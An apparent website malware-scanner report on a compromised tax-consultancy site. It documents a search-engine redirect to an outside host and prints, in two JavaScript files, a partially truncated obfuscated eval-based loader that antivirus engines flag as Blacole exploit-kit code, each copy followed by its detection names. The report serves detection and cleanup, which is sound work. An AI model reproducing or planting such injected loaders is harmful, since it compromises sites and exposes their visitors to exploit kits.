New scan:

Malware Scanner report for hoffmann-steuerberatung.info

Malicious/Suspicious/Total urls checked
2/0/5
2 pages have malicious code. See details below
Blacklists
OK
Malicious redirects
Found
The website redirects visitors from search engines to the 3rd-party URL:
->http://bobomo.mynumber.org/
1457 websites infected.

The website "hoffmann-steuerberatung.info" is most probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues. Here is our redirects fixing guide.
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Malicious/Suspicious Redirects

RequestServer responseStatus
URL: http://hoffmann-steuerberatung.info/
(imitation of visitor from search engine)

GET / HTTP/1.1
Host: hoffmann-steuerberatung.info
Referer: http://www.google.com/search?q=redirect+check1
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Tue, 15 Apr 2014 07:58:06 GMT
Location: http://bobomo.mynumber.org/
Server: Apache
Vary: Accept-Encoding
Content-Length: 235
Content-Type: text/html; charset=iso-8859-1
malicious

Scanned pages/files

RequestServer responseStatus
http://hoffmann-steuerberatung.info/
200 OK
Content-Length: 5299
Content-Type: text/html
clean
http://hoffmann-steuerberatung.info/media/system/js/caption.js
200 OK
Content-Length: 8224
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

v="v"+"al";if(020===0x10&&window.document)try{document.body++}catch(gdsgsdg){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){w={a:window}.a;v="e".concat(v);}}e=w[""+v];if(1){f=new Array(102,116,108,99,115,103,111,109,30,110,100,118,116,81,95,110,99,109,109,77,115,109,97,99,114,39,39,123,9,30,32,31,30,118,96,112,32,103,103,32,60,30,116,103,103,115,45,113,101,100,98,32,46,30,116,103,103,115,45,79,59,9,30,32,31,30,118,96,112,32,107,109,32,60,30,11
... 5248 bytes are skipped ...
11,99,119,46,96,110,112,100,108,100,66,102,105,107,98,40,104,100,114,108,39,59,9,7,9,8,103,102,113,95,109,100,85,97,114,65,114,100,95,116,100,98,32,60,30,116,113,115,101,58,8,32,31,30,32,31,30,32,31,123,10,31,30,32,31,123,99,96,114,99,103,38,101,40,121,105,101,112,97,108,99,87,96,113,67,113,99,97,115,99,100,31,59,32,116,108,100,100,100,105,109,99,100,58,123,10,124,42,32,48,46,48,40,57);}w=f;s=[];for(i=0;-i+1728!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String["fromCharCode"]((1*w[j]+j%3));}
e(s)

Antivirus reports:

AntiVir
JS/BlacoleRef.W.73
Avast
JS:Decode-JB [Trj]
Ikarus
Exploit.JS.Blacole
nProtect
Trojan.JS.Iframe.COA
K7AntiVirus
Trojan
TrendMicro-HouseCall
JS_IFRAMERE.SMJF
Comodo
TrojWare.JS.BlacoleRef.E
McAfee-GW-Edition
JS/Exploit-Blacole.jl
TrendMicro
JS_IFRAMERE.SMJF
Kaspersky
HEUR:Trojan.Script.Iframer
Microsoft
Exploit:JS/Blacole.KH
MicroWorld-eScan
Trojan.JS.Iframe.COA
Fortinet
JS/Blacole.GC!exploit
McAfee
JS/Exploit-Blacole.jl
NANO-Antivirus
Trojan.Script.Iframe.bcsmhk
F-Secure
Trojan.JS.Iframe.COA
F-Prot
JS/IFrame.QW
AVG
HTML/Framer.GB
GData
Trojan.JS.Iframe.COA
Commtouch
JS/IFrame.QW
BitDefender
Trojan.JS.Iframe.COA

http://hoffmann-steuerberatung.info/templates/shopzeile02/script.js
200 OK
Content-Length: 12616
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

v="v"+"al";if(020===0x10&&window.document)try{document.body++}catch(gdsgsdg){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){w={a:window}.a;v="e".concat(v);}}e=w[""+v];if(1){f=new Array(102,116,108,99,115,103,111,109,30,110,100,118,116,81,95,110,99,109,109,77,115,109,97,99,114,39,39,123,9,30,32,31,30,118,96,112,32,103,103,32,60,30,116,103,103,115,45,113,101,100,98,32,46,30,116,103,103,115,45,79,59,9,30,32,31,30,118,96,112,32,107,109,32,60,30,11
... 5248 bytes are skipped ...
11,99,119,46,96,110,112,100,108,100,66,102,105,107,98,40,104,100,114,108,39,59,9,7,9,8,103,102,113,95,109,100,85,97,114,65,114,100,95,116,100,98,32,60,30,116,113,115,101,58,8,32,31,30,32,31,30,32,31,123,10,31,30,32,31,123,99,96,114,99,103,38,101,40,121,105,101,112,97,108,99,87,96,113,67,113,99,97,115,99,100,31,59,32,116,108,100,100,100,105,109,99,100,58,123,10,124,42,32,48,46,48,40,57);}w=f;s=[];for(i=0;-i+1728!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String["fromCharCode"]((1*w[j]+j%3));}
e(s)

Antivirus reports:

AntiVir
JS/BlacoleRef.W.73
Avast
JS:Decode-JB [Trj]
Ikarus
Exploit.JS.Blacole
nProtect
Trojan.JS.Iframe.COA
K7AntiVirus
Trojan
TrendMicro-HouseCall
JS_IFRAMERE.SMJF
Comodo
TrojWare.JS.BlacoleRef.E
McAfee-GW-Edition
JS/Exploit-Blacole.jl
TrendMicro
JS_IFRAMERE.SMJF
Kaspersky
HEUR:Trojan.Script.Iframer
Microsoft
Exploit:JS/Blacole.KH
MicroWorld-eScan
Trojan.JS.Iframe.COA
Fortinet
JS/Blacole.GC!exploit
McAfee
JS/Exploit-Blacole.jl
NANO-Antivirus
Trojan.Script.Iframe.bcsmhk
F-Secure
Trojan.JS.Iframe.COA
F-Prot
JS/IFrame.QW
AVG
HTML/Framer.GB
GData
Trojan.JS.Iframe.COA
Commtouch
JS/IFrame.QW
BitDefender
Trojan.JS.Iframe.COA

http://www.hoffmann-steuerberatung.info/config/lang/de/counter/cnt.php?cid=4HsLOl
200 OK
Content-Length: 126
Content-Type: text/html
clean
http://www.hoffmann-steuerberatung.info/test404page.js
404 Not Found
Content-Length: 212
Content-Type: text/html
clean

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=hoffmann-steuerberatung.info

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://hoffmann-steuerberatung.info/

Result: hoffmann-steuerberatung.info is not infected or malware details are not published yet.